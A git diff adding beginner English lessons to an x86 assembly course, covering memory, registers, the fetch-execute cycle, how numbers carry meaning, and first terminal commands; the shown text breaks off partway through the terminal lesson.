+| 12 | [12_donguler](./12_donguler.md) | A loop with a counter + conditional jump | Countdown from 10, sum of 1..N |
+| 13 | [13_bit_islemleri](./13_bit_islemleri.md) | `and`, `or`, `xor`, `shl`, `shr` | Why `xor eax, eax` means "zero out" |
+
+### 🧱 Unit 3 — Parts and the Operating System
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 14 | [14_stack](./14_stack.md) | `push`/`pop`, why the stack grows downward | The worker's "notepad" |
+| 15 | [15_call_ve_ret](./15_call_ve_ret.md) | Functions, return address, the `call`/`ret` duo | A reusable part |
+| 16 | [16_calling_convention](./16_calling_convention.md) | cdecl: giving data to a part, return value, prologue/epilogue | Calling "add(3,5)" |
+| 17 | [17_sistem_cagrilari](./17_sistem_cagrilari.md) | `int 0x80`, syscall numbers, text/input to the screen | A real "Hello World" |
+| 18 | [18_ilk_etkilesimli_program](./18_ilk_etkilesimli_program.md) | Put it all together | An asm program that asks your name and greets you |
+
+### 🌉 Unit 4 — The Bridge
+
+| # | File | What it teaches |
+|:---:|---|---|
+| 19 | [19_c_ile_assembly_koprusu](./19_c_ile_assembly_koprusu.md) | Compile a tiny C program, look at its asm, see familiar patterns |
+| 20 | [20_buradan_nereye](./20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, exploitation and advanced resources |
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Even if Unit 0 feels boring, don't skip it — everything above it rests on it.
+2. **Run every instruction yourself.** Reading isn't enough; assembly is learned *with your fingertips*. Don't consider a lesson finished until you've written and run a program.
+3. **Watch it in GDB.** If you don't understand what an instruction does, step one at a time in GDB and **see with your own eyes** how the registers/memory change. (We'll set it up in Unit 1.) This is the most powerful learning tool of the whole course.
+4. **Go back when you're stuck.** A term you don't understand has almost always been explained in the *previous* lesson. Going back is normal.
+5. **Slow = fast.** Rushing and half-understanding will cost you double the time later.
+
+---
+
+## If Something Breaks
+
+Throughout this course, getting errors **is part of the job** — programming is already the "get an error, fix it" loop. When an instruction doesn't work, don't panic; most of the time it's a letter/number typo or a skipped step. In Unit 1 we'll also learn to "read the error message".
+
+---
+
+## 🔗 Next Step
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — continue from here. First we'll understand what the machine is; no code at all, we're just building the picture.
+
+> 🎯 **Where to after finishing the course?** This asm foundation is the direct preparation for the **[Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** (*bending* the flow of programs) in the same repo and for the OverTheWire wargames — first learn to *"give the worker orders"*, then learn to *"bend the order."*
+
+---
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
new file mode 100644
index 0000000..3bd6eda
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
@@ -0,0 +1,115 @@
+# 🎨 x86 Assembly — The Same Number, a Thousand and One Meanings
+
+> In 01 we said this: each box in the warehouse holds only a single number, and the worker plays only with numbers.
+> But then a very fair question arises: the cat video you're watching, the song you're listening to, that "A"
+> letter on your screen... where are they? If everything is 1s and 0s, how can a whole movie be nothing but a pile of numbers?
+> In this short interlude lesson we solve exactly that — and the answer, it turns out, was in our hands all along.
+
+> **No code here either.** This is a little "but wait, how does *that* work?"
+> break that comes right after 01. It'll be short; but by the end, the phrase "everything is a number" stops hanging in the air and lands on solid ground.
+
+---
+
+## 📋 Table of Contents
+
+- [A Number, on Its Own, Means Nothing](#a-number-on-its-own-means-nothing)
+- [So How Does That Cat Video Become a Number?](#so-how-does-that-cat-video-become-a-number)
+- [Does the Worker Understand This? No](#does-the-worker-understand-this-no)
+- [Same Issue: Address or Value?](#same-issue-address-or-value)
+
+---
+
+## A Number, on Its Own, Means Nothing
+
+I wrote a big **3** on a piece of paper and handed it to you. What does this 3 mean?
+
+You can't tell — because on its own it means nothing. Is it 3 apples? The 3rd floor of a building? Bus number 3? 3 o'clock? The paper itself doesn't know this; **you give it meaning according to the situation you're in.** The same "3" is a floor number in one place and an apple count in another.
+
+Here it is — the computer's deepest secret is this simple:
+
+> 🔑 A number's meaning lies **not in the digit itself, but in the intent of the code that reads it.** A box in memory might have `72` written in it. This 72 could be an ordinary number, or the letter `H`, or a shade of red, or a moment from a piece of music. The box doesn't know which one it is. **Whoever reads it, and for what purpose** — that's what determines its meaning.
+
+So when we said "everything is a number" we said something incomplete: the correct version is, **everything is a number, and what gives those numbers meaning is the code that uses them.** Now let's see this in the example you're most curious about.
+
+---
+
+## So How Does That Cat Video Become a Number?
+
+Let's start with a picture. Every image on the screen is actually made of **tiny dots** arranged like a grid. These dots are called **pixels** — if you look very closely at your screen (or with a magnifying glass) you can see these little squares.
+
+So how is a single pixel stored? With a few numbers: how **red**, how **green**, how **blue** that dot is. (By mixing these three colors you can get any color.) Each one is a number between 0 and 255:
+
+```
+ A single pixel = 3 numbers:
+
+ ┌─────┬─────┬─────┐
+ │ R │ G │ B │ ← how much Red / Green / Blue
+ │ 255 │ 0 │ 0 │ ← this example: a fully red dot
+ └─────┴─────┴─────┘ (each 0–255)
+```
+
+So that "red dot" you see is, in the machine's eyes, just three numbers: `255, 0, 0`. Line up thousands of pixels side by side and top to bottom — there you have a whole **image**, that is, a gigantic list of numbers. A **video** is then dozens of images (each one called a frame) shown one after another per second, plus its sound. Your cat video, at the very bottom, is nothing but millions of numbers.
+
+But how do these numbers become a colorful image in your eye? Here's the critical point:
+
+> 🔑 What turns the numbers into a picture is not the numbers themselves, but a piece of **hardware** that reads them. The screen is made of millions of tiny lights. A special part (the graphics card / display hardware) reads those pixel numbers in memory and lights up each light exactly according to that number. The hardware that sees "255, 0, 0" makes the light at that dot fully red. When millions of lights turn on correctly at the same time, you see a "cat."
+
+Sound follows exactly the same logic: a song is a list of numbers telling the speaker how much to be pushed at each moment — tens of thousands of numbers per second. A sound chip reads these numbers and moves the speaker; you hear the music.
+
+> 💡 Advanced note: Inside a video or music file these numbers are usually kept **compressed** (otherwise the files would be enormous). How that compression works is a whole topic of its own and not our concern. The only idea that matters for us is this: at the very bottom, everything is numbers that tell the "how much" of something (redness, loudness...); and what makes those numbers meaningful is the code or hardware that reads them.
+
+---
+
+## Does the Worker Understand This? No
+
+This is exactly the moment to recall the "very fast but very dumb worker" from 01. When the worker looks at memory and sees `72`, it doesn't say "ah, this is the letter `H`." The worker **understands nothing** — it knows neither picture, nor letter, nor music. It just carries out the current order in front of it: "take what's in that box," "add this to that," "put it there."
+
+So then who makes the "72 = H" agreement? **Programs** make it. A text program has agreed from the start that "let the number 72 represent the letter `H`" (this agreement is called *character encoding*; the best known is ASCII, which we'll see later). An image program has agreed that "every three numbers is the color of one pixel." The worker knows none of these agreements; it just carries, copies, adds.
+
+> 🔑 Meaning is a silent agreement between the code that **writes** a byte and the code that **reads** it. The worker is not part of this agreement — it applies the orders blindly, and the programs supply the meaning. That's why the same `72` can be a letter in one program's hands and a color in another's; there's no contradiction, because they're reading it with different agreements.
+
+---
+
+## Same Issue: Address or Value?
+
+Now let's go back and see that the confusing distinction from 01 is actually one face of this same principle.
+
+In 01 we said that an address (a box number) and a value (a box's contents) are different things. But both are, in the end, numbers. Say the worker has `5` in its pocket. Is this "they gave me **5 apples**" (a value), or "go to **box number 5**" (an address)?
+
+The worker looks at this 5 and **can't tell** — both are merely 5. Just like the 3 on the paper. Once again the **instruction** gives the answer: one order says "treat this 5 as a value, use it as it is"; another order says "treat this 5 as an address, go fetch box number 5." So the meaning of the 5 is not inside the 5, but in the intent of the order that uses it.
+
+> 💡 Advanced note: Later, when you learn the real syntax, you'll see that telling the machine "treat this number as an address" has a special mark (like square brackets). That mark is precisely the way to set up this agreement explicitly. The details are in [08_mov_ve_bellek](./08_mov_ve_bellek.md).
+
+It all comes down to one and the same sentence: **it's not the number that gives meaning, but the code that uses it.** Put this idea in your pocket — it'll serve you again and again in the rest of the course (especially on the topics of memory, pointers, and addresses).
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A number on its own is meaningless. Its meaning is set by the intent of the code that READS it.
+ - Like the "3" on paper: 3 apples, or 3rd floor? Depends on the situation. The computer is the same.
+☐ "Everything is a number" was an incomplete sentence; the correct one: everything is a number + the code gives those numbers meaning.
+☐ Image = pixels, grid by grid; each pixel = a few numbers (Red/Green/Blue, 0–255).
+ - Red dot = (255, 0, 0). A bunch of pixels = image. Images one after another + sound = video.
+☐ What turns the number into an image is not the number but the HARDWARE: the graphics card reads the numbers, lights the lights.
+ Sound is the same: numbers → sound chip → speaker.
+☐ The worker UNDERSTANDS nothing (01). Programs make the "72 = H" agreement; the worker just carries/processes.
+☐ Address or value? is the same issue: the INSTRUCTION says whether the 5 is a value or an address.
+☐ One sentence: it's not the number that gives meaning, but the code that uses it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "Everything is a number" and the dumb worker idea; where this lesson was born
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The numbers themselves: bit, byte, 0–255, and hex
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the address/value distinction and the pointer get deeper
+
+---
+
+**Previous topic:** [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md)
+**Next topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
new file mode 100644
index 0000000..0cff059
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
@@ -0,0 +1,232 @@
+# 🧠 x86 Assembly — What a Computer Really Is
+
+> There is no magic inside a computer. There is a giant warehouse (memory), a few boxes in the worker's pocket (registers),
+> and, working on top of these boxes, a very fast but very dumb worker (the processor).
+> This worker does one single thing: read the next order on the list, carry it out **to the letter**, move on to the next.
+> The whole computer — your phone, your game console, the machine you opened this file on — is the story of these three parts.
+
+> **There is not a single line of code in this lesson.** We are only going to build up a picture in your head of what the machine is like.
+> This picture is the ground the rest of the course sits on. Don't rush; read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [A Computer Is Not Magic](#a-computer-is-not-magic)
+- [Part 1 — Memory: A Warehouse of Numbered Boxes](#part-1--memory-a-warehouse-of-numbered-boxes)
+- [Part 2 — Registers: The Boxes in the Worker's Pocket](#part-2--registers-the-boxes-in-the-workers-pocket)
+- [Part 3 — The Processor: A Very Fast, Very Dumb Worker](#part-3--the-processor-a-very-fast-very-dumb-worker)
+- [The Only Thing the Worker Does: Fetch → Do → Advance](#the-only-thing-the-worker-does-fetch--do--advance)
+- [What Is a Program?](#what-is-a-program)
+- [What Does "Running a Program" Mean?](#what-does-running-a-program-mean)
+- [Which Orders Does the Worker Understand? (A Small Preview)](#which-orders-does-the-worker-understand-a-small-preview)
+- [Why Does Such a Dumb Worker Work at All?](#why-does-such-a-dumb-worker-work-at-all)
+
+---
+
+## A Computer Is Not Magic
+
+For most people a computer is a box, with no idea of what spins inside it. You click, something happens; you type, letters appear on the screen. How? Unclear.
+
+Here is the truth: a computer is a machine that does **very simple things at an unbelievable speed.** The worker inside it does not "understand English," does not "think about what you want," is not "smart." It does just a handful of very primitive jobs — but **billions of times** per second. All the magic comes out of this speed and out of this simplicity piling up on itself.
+
+The goal of this lesson is to open the lid of that box and introduce you to the three parts inside. Once you have seen them, the question "how does a computer work?" will stop being mysterious.
+
+---
+
+## Part 1 — Memory: A Warehouse of Numbered Boxes
+
+Imagine: a giant warehouse whose end you cannot see. Inside it are **small boxes** lined up in rows. Each box has:
+
+- a **number** (it goes 0, 1, 2, 3, …),
+- and inside it sits a single **small number**.
+
+```
+ Number: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+```
+
+This warehouse is the computer's **memory** (in English *memory*, or RAM in common speech). All the data a program uses while it runs — the letters you type, the pixels of the image you open, your health in a game — are all numbers inside these boxes.
+
+Separate two words right now, because you'll need them everywhere:
+
+- A box's **number** = its **address** (*address*). "Box number 3" means "the box at address 3."
+- The **number inside** a box = its **value / contents**.
+
+> 🔑 Address and value are **different things.** "Box number 3" (address = 3) must not be confused with "the box with 255 written in it" (value = 255). This distinction is the spot people trip over most often later on — let it be clear right now: **address = where the box is, value = what's inside the box.**
+
+Each box is called a **byte**; a number between 0 and 255 fits inside it. (Why exactly 255? We'll see that in [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) — for now "a small number" is enough.)
+
+---
+
+## Part 2 — Registers: The Boxes in the Worker's Pocket
+
+The warehouse is huge but it has one problem: it's **far away.** Every time, it takes the worker a while to walk to the shelf and find the right box.
+
+That's why the worker has **a few special boxes** in the pockets of their apron. These are:
+
+- **very few in number** (a bit more than the fingers of one hand),
+- but reachable **instantly** — they reach out and grab; no walking to the shelf.
+
+```
+ WORKER
+ ┌───────────────┐
+ │ pocket boxes │ ← registers: few, but at light speed
+ │ [ EAX: 5 ] │
+ │ [ EBX: 0 ] │
+ │ [ ECX: 99 ] │
+ │ [ ... ] │
+ └───────────────┘
+ ⇕ (slow round trip)
+ ┌──────────────────────────────────────────┐
+ │ WAREHOUSE (memory): millions of boxes │
+ └──────────────────────────────────────────┘
+```
+
+These pocket boxes are called **registers**. The worker does almost all of the real work with these pocket boxes: it takes a number out of the warehouse and puts it in a pocket, plays with it in the pocket (adds, compares), then, if needed, puts the result back on the shelf in the warehouse.
+
+On the x86 processor each of these pocket boxes has a name: `EAX`, `EBX`, `ECX`, `EDX`, and a few more. Their names may look scary for now; in the coming units we'll get to know each one, one at a time, as the need arises. For now the only thing you need to know is: **register = the worker's boxes, few in number, reachable instantly.**
+
+> 💡 Why both a warehouse and pockets? Because there is a trade-off between speed and room: the pocket boxes are very fast but very few; the warehouse is very roomy but slow. The worker uses both together — it keeps the big data in the warehouse and pulls what it's about to work on into a pocket.
+
+---
+
+## Part 3 — The Processor: A Very Fast, Very Dumb Worker
+
+Now we've reached the main character: the **processor** (in English *CPU*, or *processor*). This is the thing we've been calling the "worker" above.
+
+This worker has two basic traits, and both are true at the same time:
+
+1. **It is incredibly fast.** It takes billions of tiny steps per second. A single blink of your eye is like a lifetime to it.
+2. **It is incredibly dumb.** It "understands" nothing. It doesn't know what you're trying to do, takes no initiative, doesn't say "you probably meant this." It only carries out **the current order** in front of it, exactly.
+
+The whole philosophy of assembly is hidden in this sentence:
+
+> 🔑 The worker is not smart; it is **obedient to the letter.** Whatever you tell it, it does exactly that — not more, not less, not some "well-meaning" interpretation. That's why writing a program = telling this worker, in a language it understands, **step by step** what to do.
+
+Picture a cook, but a cook who follows the recipe *word for word*, with no common sense at all. If the recipe says "crack the eggs," it throws them into the bowl shell and all — because you didn't write "peel off the shell." A computer is exactly this kind of cook. It seems maddening, but it's actually a **superpower**: you can know in advance exactly what will happen, because the worker never acts "on its own."
+
+---
+
+## The Only Thing the Worker Does: Fetch → Do → Advance
+
+So what exactly does this worker do? It repeats a single loop, without stopping, billions of times:
+
+```
+ ┌──────────────────────────────────────────┐
+ │ │
+ │ 1) FETCH: Read the next order │
+ │ 2) DO: Carry it out to the letter │
+ │ 3) ADVANCE: Move to the next order │
+ │ │
+ └──────────────┐ ▲──────────────┘
+ └──────────────┘
+ (repeat from the start)
+```
+
+That's all. The worker reads the order on the list, does it, moves on to the next; then reads again, does, moves on… This is called the **fetch-do-advance loop** (in English *fetch–execute cycle*). *Everything* the computer does — playing a movie, a game, showing this text — is this simple loop repeated billions of times, at a tremendous speed.
+
+> 💡 The worker also holds one more piece of information: "which line of the list am I on right now" — as if it keeps a finger on top of the line it's reading. Normally, after each order the finger slides down to the next line. But some orders can say "put your finger on this line" — that's exactly how decisions and loops happen. (This idea of "the line the finger rests on" will become very important later.)
+
+---
+
+## What Is a Program?
+
+Whatever that **list of orders** the worker reads is — that is what's called a **program**.
+
+A program is a **to-do list** made of instructions written in order from start to finish:
+
+```
+ Line 1: put 5 in box EAX
+ Line 2: put 3 in box EBX
+ Line 3: add EBX to EAX (now EAX = 8)
+ Line 4: tell the OS "I'm done, my result is in EAX"
+```
+
+The worker reads this list top to bottom, doing each line to the letter. The four lines above are a real program too — we've just written it in plain language so far. In the coming units we'll learn to translate it into the language the worker actually understands (assembly). What matters right now is the idea: **program = the list of orders given to the worker, carried out in order.**
+
+> ⚠️ Underline the word "in order." The worker processes the lines **one by one, in sequence.** By the time the third line runs, the first and second are long finished. This sequentiality is the backbone of programming — get used to thinking "first this happens, then that."
+
+> 💡 **You might be wondering:** *"If the worker does everything in order, how am I listening to music and browsing the internet at the same time?"* Two things are true at once: (1) the worker is so fast that a **manager** (the operating system) shuffles it between programs thousands of times per second — "a bit of Spotify, a bit of the mouse, a bit of the browser…" — and because of this speed it feels to you as if everything is happening at the same time. (2) On modern machines there is actually not one worker but **several workers** (cores/*core*); some jobs really do happen at the same time. When writing code we'll still think in terms of one worker + one list, because what matters is that single flow; multitasking is handled "up top," by the manager.
+
+---
+
+## What Does "Running a Program" Mean?
+
+"Running a program" might sound like a fancy phrase, but its meaning is very simple:
+
+> You put your list of orders into memory (the warehouse), you tell the worker "start from this line," and the worker begins carrying out your list from start to finish with the fetch-do-advance loop.
+
+So a running program = **the worker reading and doing your list.** When the program ends (or says "I'm done"), the worker stops and hands control back to the operating system.
+
+One extra term: a program that has been loaded into memory and is **currently running** is called a **process**. So "program" is the recipe sitting on disk; "process" is that recipe in its state of being cooked in the kitchen right now. You'll experience this distinction with your own hands in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md).
+
+---
+
+## Which Orders Does the Worker Understand? (A Small Preview)
+
+The worker recognizes only a **handful** of orders — and the surprising thing is that all software is built from combinations of this handful of orders. We're not learning syntax yet; let's just take a look at the *kinds* so we know where we're heading:
+
+| Kind of order | In plain words | Which lesson |
+|---|---|---|
+| **Move** | "Put this number in that box," "take what's in that box over here" | [08_mov_ve_bellek](./08_mov_ve_bellek.md) |
+| **Compute** | "Add / subtract these two" | [09_aritmetik](./09_aritmetik.md) |
+| **Compare** | "Are these two numbers equal? greater?" | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) |
+| **Jump** | "Go to this line of the list" (decisions, loops) | [11_ziplamalar](./11_ziplamalar.md) |
+| **Call a part** | "Run this section of the list, then come back here" | [15_call_ve_ret](./15_call_ve_ret.md) |
+| **Call out to the OS** | "Operating system, print this to the screen / read this" | [17_sistem_cagrilari](./17_sistem_cagrilari.md) |
+
+As you can see, the list is short. All the programs a person uses in their whole life — that's just this handful of primitive orders, lined up billions of times, in the right sequence. And that's the beauty of it: from a small number of simple parts, unlimited complexity.
+
+Just to satisfy your curiosity, here's a glimpse of how the order "put 5 in box EAX" looks in real assembly (don't memorize it yet, just see it):
+
+```
+mov eax, 5
+```
+
+That's it. The way to say "put 5 in EAX" to the machine. In the coming units we'll write this and **run** it, and we'll see that 5 on the screen with `echo $?`.
+
+---
+
+## Why Does Such a Dumb Worker Work at All?
+
+We've been saying "dumb worker" all along; this sounds like a flaw. Actually it gives two big **advantages**:
+
+1. **Predictability.** Because the worker never improvises, you can know **for certain** what a program will do. There is no "did it maybe mean this?"; whatever you wrote is what happens. This is what makes hunting for bugs (and, later, understanding security holes) possible.
+2. **Speed.** Because the worker doesn't "think," and only carries out simple orders, it can be incredibly fast. Intelligence is slow; dumb but fast execution, when piled up, does everything.
+
+> 🔑 In short: a computer's power comes not from its intelligence but from **repeating simple jobs flawlessly and at a dizzying speed.** You give it the right list; it carries out the list with flawless loyalty. Programming is the craft of writing that list.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A computer is not magic: a warehouse + pocket boxes + a worker.
+☐ Memory (the warehouse) = numbered boxes; each box holds a number.
+ - The box's NUMBER = address. The box's INSIDE = value. (They're different!)
+☐ Register (pocket boxes) = the FEW boxes the worker reaches instantly (EAX, EBX...).
+☐ Processor (the worker) = very fast + very dumb; only does fetch → do → advance.
+☐ Program = a list of orders carried out in sequence (a to-do list).
+☐ Running = putting the list into memory and telling the worker "start." A running program = a process.
+☐ The worker understands a handful of orders: move, compute, compare, jump, call a part, call out to the OS.
+☐ Dumbness is not a flaw: it means predictability + speed.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The course roadmap and how to study it
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — If "everything is a number," how does a cat video happen? Meaning comes from the code
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — Where we'll talk to this worker from: the terminal
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — A closer look at the warehouse and pocket boxes
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
new file mode 100644
index 0000000..00190a9
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
@@ -0,0 +1,278 @@
+# 💻 x86 Assembly — Getting to Know the Terminal
+
+> Until now you've always talked to the computer by *clicking*: press an icon, a window opens.
+> The terminal, on the other hand, is where you give the computer orders by **typing** — not with the mouse, with the keyboard, one at a time.
+> At first it looks bare and intimidating; but it's actually the cleanest way to talk directly, without a middleman, to that "letter-for-letter obedient worker" from the previous lesson.
+> In this lesson, for the first time, we'll give it orders with our own hands.
+
+> **There is not a single line of assembly in this lesson.** We'll just get to know the terminal, type a few commands into it, and *see with our own eyes* what happens. The goal: to feel comfortable in front of the terminal. That comfort will be the foundation of everything later, when you write and run code.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is the Terminal? (And Why Not the Mouse?)](#what-is-the-terminal-and-why-not-the-mouse)
+- [How Do I Open the Terminal?](#how-do-i-open-the-terminal)
+- [The Anatomy of the Terminal: Type, Press Enter, Read](#the-anatomy-of-the-terminal-type-press-enter-read)
+- [Your First Order: `echo`](#your-first-order-echo)
+- [Where Am I? What's Here?](#where-am-i-whats-here)
+- [Make a Folder, Go Inside](#make-a-folder-go-inside)
+- [Create a File and Look Inside It](#create-a-file-and-look-inside-it)
+- [What Just Happened? (A Program or a Process?)](#what-just-happened-a-program-or-a-process)
+- [Did You Get an Error? Good.](#did-you-get-an-error-good)
+
+---
+
+## What Is the Terminal? (And Why Not the Mouse?)
+
+When you double-click an icon, what you're really telling the computer is: "run that program." You just say it **with the mouse**. The terminal is a window where you say the same thing **by typing**: you write a command, you press Enter, the computer does it.
+
+So why type when clicking is right there? Because:
+
+- **Precision.** With the mouse there's no "I meant that one"; whatever command you type is exactly what runs. This is the natural way to talk to the "letter-for-letter obedient worker" from the previous lesson.
+- **Power.** With a single line, you can instantly make it do work that would take minutes of fiddling with the mouse.
+- **Necessity.** Writing and running assembly, compiling code, tracing a program step by step — all of this is done from the terminal. So for this course the terminal isn't a choice, it's our home.
+
+> 💡 "Terminal", "console", "command line", "shell" — you'll hear all of them for more or less the same thing: that window where you give commands by typing. For now, don't worry about the fine differences between them.
+
+---
+
+## How Do I Open the Terminal?
+
+This course is entirely about **Linux** — our assembly tools (nasm, ld, gdb) live there. We won't be using Windows or macOS; we go straight through Linux.
+
+There are a few ways to open the terminal on Linux:
+
+- Find and open the application named **"Terminal"** (on some systems **"Console"**) among your applications.
+- Or the shortcut that works on most desktops: **`Ctrl + Alt + T`**.
+
+> 💡 If you don't have a working Linux yet, don't worry: we'll do the full setup of the environment and tools together, start to finish, in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md). It's perfectly fine to get through this lesson just by **reading** for now, and to come back and try the commands yourself once you've set up the terminal.
+
+When you open it, what most likely appears is a dark-colored window with a few words in it and a small, blinking line. Don't be afraid — we'll figure it out in a moment.
+
+---
+
+## The Anatomy of the Terminal: Type, Press Enter, Read
+
+That first line you see in the terminal window is called the **prompt** (the command prompt). It's the line that says to you, "go ahead, type your order." Roughly, it looks like this:
+
+```
+kullanici@bilgisayar:~$ ▮
+```
+
+Piece by piece:
+
+```
+ kullanici → your username
+ @ → means "at"
+ bilgisayar → the name of the machine
+ ~ → the folder you're currently in (~ = your home folder)
+ $ → the "you can type a command here" mark
+ ▮ → the blinking cursor: the letters you type go here
+```
+
+You talk to the terminal in a single rhythm:
+
+```
+ 1) TYPE the command
+ 2) Press ENTER
+ 3) The computer runs the command, prints the result (the output)
+ 4) It gives you a new prompt: "go ahead, what's next?"
+```
+
+That's all. The blinking cursor is patient because it's waiting for you; there's no rush. If you type wrong, you can delete it before pressing Enter. Let's give it its first order.
+
+---
+
+## Your First Order: `echo`
+
+`echo` means "whatever I give you, write it back to the screen." It's the most harmless, most reassuring first command. Type this and press Enter:
+
+```
+echo Hello
+```
+
+What you'll see:
+
+```
+Hello
+```
+
+It worked! You told the computer something, and it did it letter for letter — no more, no less, just like that dumb-but-obedient worker. Print something else if you like:
+
+```
+echo i command the computer
+```
+```
+i command the computer
+```
+
+> 💡 This little moment matters: **you** made that text appear on the screen, without clicking anywhere with the mouse. That's the whole logic of the terminal — type, let it run, see the result.
+
+---
+
+## Where Am I? What's Here?
+
+The terminal is always standing **inside a folder** (just like you're standing in an open folder in a file manager, but invisibly). Two basic questions:
+
+**"Which folder am I in right now?"** → `pwd` (in English, *print working directory*)
+
+```
+pwd
+```
+```
+/home/kullanici
+```
+
+So right now you're in the home folder of the person named `kullanici`. (The `~` mark in the prompt was already telling you this.)
+
+**"What's in this folder?"** → `ls` (in English, *list*)
+
+```
+ls
+```
+```
+Documents Downloads Desktop Pictures
+```
+
+`ls` lists the files and folders in the folder you're in. In an empty folder it prints nothing — that's normal too, it means "there's nothing here."
+
+> 🔑 Keep in mind: in the terminal you are **always somewhere.** "Where am I?" `pwd`, "what's here?" `ls`. If you feel lost, these two are your compass.
+
+---
+
+## Make a Folder, Go Inside
+
+So we don't leave the course files scattered around, let's open a work folder for ourselves.
+
+**Create a folder** → `mkdir` (in English, *make directory*)
+
+```
+mkdir asm_dersi
+```
+
+It prints nothing to the screen — but the silence here means "okay, done." (The worker doesn't talk unnecessarily.) Check with `ls`, and now `asm_dersi` should show up.
+
+**Go inside the folder** → `cd` (in English, *change directory*)
+
+```
+cd asm_dersi
+```
+
+Now if you type `pwd` you'll notice you see `/asm_dersi` at the end — you went inside. If you want to go back out:
+
+```
+cd ..
+```
+
+`..` means "one folder up." With `cd` you move between folders like walking between the rooms of a building.
+
+> 💡 While typing a command, try writing the first few letters of a folder/file name and pressing **Tab** — the terminal completes the rest for you. It both speeds you up and prevents typos. (This is called *tab completion*; it'll be indispensable to you.)
+
+---
+
+## Create a File and Look Inside It
+
+While you're inside the `asm_dersi` folder, let's create a small note file:
+
+```
+echo "my first note" > not.txt
+```
+
+There are two new things here. First, the `"..."` quotes: they hold several words together as a single piece of text. In `echo Hello` there was no need since it was a single word (the three-word example above also worked without quotes); but when writing text to a file, quotes are the cleanest way of saying "all of these are one piece." Second, the `>` mark: normally `echo` would write the output **to the screen**; `>` instead means "write the output not to the screen, but **to that file**." So this line creates a file named `not.txt` with `my first note` written inside it. Nothing appears on the screen — the output went to the file now.
+
+If you type `ls` you'll see `not.txt`. So what's inside it? **To see the contents of a file** → `cat`:
+
+```
+cat not.txt
+```
+```
+my first note
+```
+
+There you go: you created a file and looked inside it — all from the keyboard.
+
+> ⚠️ Careful: `>` **wipes the file's contents and writes from scratch.** If `not.txt` is already full and you do `echo "..." > not.txt` again, the old content is erased. If you want to **append to the end** of the content, use a double `>>` instead of a single `>`. For now, just jot this down on the side.
+
+---
+
+## What Just Happened? (A Program or a Process?)
+
+Now let's go back and make a nice connection. `echo`, `ls`, `cat` — these are all actually **programs.** Small programs that sit on the disk and know how to do the job of "write to the screen", "list the folder", "show the file".
+
+What happens when you type `ls` and press Enter is the very picture from the previous lesson:
+
+```
+ 1) The operating system finds the program named "ls" on the disk
+ 2) It loads it into memory (the storehouse)
+ 3) The worker (the processor) runs that program's list of orders → the output comes to the screen
+ 4) The program ends, control returns to you → a new prompt
+```
+
+> 🔑 Here those two words become concrete:
+> - **Program** = the list of orders sitting on the disk (the recipe). E.g.: the `ls` program.
+> - **Process** = that program loaded into memory and **currently running** (the recipe cooking in the kitchen).
+>
+> So `ls` is a program on the disk; when you run it a short-lived process is born, does its job, dies, and gives you back the prompt. Every command is a small process being born and dying.
+
+Later we'll write and run **our own** program with `nasm`. That will be exactly like this: the file you write is a program on the disk, and when you run it, a process. The terminal is where you kick off this cycle.
+
+---
+
+## Did You Get an Error? Good.
+
+Sooner or later you'll type a command wrong. For instance, instead of `echo`, by mistake:
+
+```
+eco Hello
+```
+```
+eco: command not found
+```
+
+No panic — this isn't the terminal getting mad at you; it's just saying **"I don't recognize a program called eco"**. In other words, you typed a letter wrong. Fix it, try again. That's exactly the usual programming cycle: type → get an error → read → fix.
+
+See error messages as a **clue, not an enemy**. Most of the time they tell you exactly what's wrong:
+
+- `command not found` → you typed the command name wrong, or that program isn't installed.
